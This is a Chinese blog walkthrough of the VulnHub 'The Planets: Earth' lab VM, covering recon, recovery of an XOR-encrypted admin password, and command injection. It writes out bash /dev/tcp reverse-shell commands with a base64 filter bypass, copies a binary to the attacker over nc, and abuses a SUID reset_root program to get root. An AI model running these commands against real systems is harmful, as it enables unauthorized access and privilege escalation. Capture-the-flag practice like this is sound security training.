vulnhub靶场The Planets Earth教程

    • 靶场搭建

靶机下载地址:The Planets: Earth ~ VulnHub

直接解压双击ova文件即可

使用软件:VMware(可能会出现问题),VirtualBox(此处官方建议使用VirtualBox)

难度:简单

攻击机:kali

    • 信息收集

先明确靶机的ip后直接nmap直接扫描

nmap -A -T4 -p- 目标ip

nmap -A -T4 -p- 192.168.21.145

nmap扫描结果

看到一个奇怪的地方

Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

对此而言就修改/etc/hosts文件加入ip+url就能访问

vim /etc/hosts

添加

192.168.21.145 earth.local
192.168.21.145 terratest.earth.local

直接输入url就能访问

访问结果

啥办法没有只能接着搜集信息,尝试看看有哪些网站

暴力破解直接上

dirb https://terratest.earth.local/
​dirb https://earth.local/

扫描结果

https://terratest.earth.local/里找到一个robots.txt

https://earth.local/里面找到一个admin

先访问看看是啥

https://earth.local/admin/

https://earth.local/admin/ 访问结果

https://terratest.earth.local/robots.txt

https://terratest.earth.local/robots.txt 访问结果

这个里面看到了敏感信息哦testingnots.txt

进去看看

testingnots.txt访问结果

  1. *Using XOR encryption as the algorithm, should be safe as used in RSA.(使用XOR)

  1. *testdata.txt was used to test encryption.(testdata.txt用于测试加密)

  1. *terra used as username for admin portal.(terra是admin的用户名)

所以想办法访问testdata.txt和找用户名密码

所以试试直接访问https://terratest.earth.local/testdata.txt(txt文件不能用dirb扫出来)

https://terratest.earth.local/testdata.txt访问结果

文件内容:

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

    • web攻击

只能从上个xor加密入手

根据XOR运算的性质aXORbXORa=b,且在本靶机中,a为message,b为message key,aXORb为previous message;那么只要previous message和message做一次XOR运算,就可以得到message key。(随便写个脚本)(建议使用http://c.jsrun.net/

https://earth.local/页面已知3个previous message,从https://terratest.earth.local/testingnotes.txt已知testdata.txt至少做过一次message。因此要得到message key只要用testdata.txt的内容和3个previous message分别进行XOR操作即可。尝试后发现https://earth.local/页面前两条previous message应该都与testdata.txt无关,XOR运算的结果不可读,第3条应该是testdata.txt内容与message key进行XOR运算的结果。

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

https://gchq.github.io/CyberChef/开始解码

这个应该是文件于是使用hex解一下

解密结果

怎么说像不像二进制,转化为16进制

在进行前文提到的xor操作,将testdata.txt的内容作为key,编码选UTF8,即可得到一组循环的字符串,每组循环都是:earthclimatechangebad4humans

可以登入了

访问结果

此处看到有命令行

看看whoami

运行结果

命令执行!!!

直接执行的话看看能不能反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.21.134/666 <&1'

反弹shell执行结果

文件写入执行结果

想象美好现实骨感被ban了,只能绕过了(直接写入文件也是不可以的),又是老朋友base64编码

为了方便直接用burp的编码模块了

抓包

echo 'bash -i >& /dev/tcp/192.168.21.134/8888 0>&1'>/tmp/1|base64 -d|sh

加密结果

拼接一下就成

    • 渗透攻击

链接完成后

find / -user root -perm /4000 2>/dev/null

其中有个奇怪的/usr/bin/reset_root

看一下文件中可读的内容

strings /usr/bin/reset_root

可以看到这个可执行文件将root的密码修改为Earth

从/usr/bin/reset_root执行失败的返回信息来看,是需要触发条件的,直接执行的话,触发条件都不满足

由于靶机上没有ltrace,所以需要把/usr/bin/reset_root文件传到攻击机上分析。

这里用nc进行传输:

攻击机上监听2222端口,并将接收到的内容重定向到文件reset_root

nc -nlvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.101.34 2222 < /usr/bin/reset_root

完成文件传输后,攻击机上给reset_root文件赋予可执行权限

chmod +x reset_root

然后用ltrace跟踪库函数调用

ltrace ./reset_root

可以发现触发条件是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe存在(后来尝试发现是需要三个文件都存在)

在靶机上用touch命令创建这三个文件,创建完成后再执行/usr/bin/reset_root,执行成功,显示root的密码被修改成了Earth

touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/usr/bin/reset_root

用su命令提权到root,密码为Earth,并在/root目录下获得flag

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
vulnhub靶场"planets"是一个信息搜集与利用的主机发现的靶场。你可以在找到更多关于该靶场的详细信息。 根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就出现了。 如果你想登录vulnhub靶场"planets"的管理员界面,你可以使用用户名"terra"和密码"earthclimatechangebad4humans"登录https://earth.local/admin。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [vulnhub靶场——THE PLANETS:EARTH](https://blog.csdn.net/Czheisenberg/article/details/122900121)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [靶场练习第二天~vulnhub靶场THE PLANETS: EARTH](https://blog.csdn.net/qq_57976347/article/details/122695436)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

himobrinehacken

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值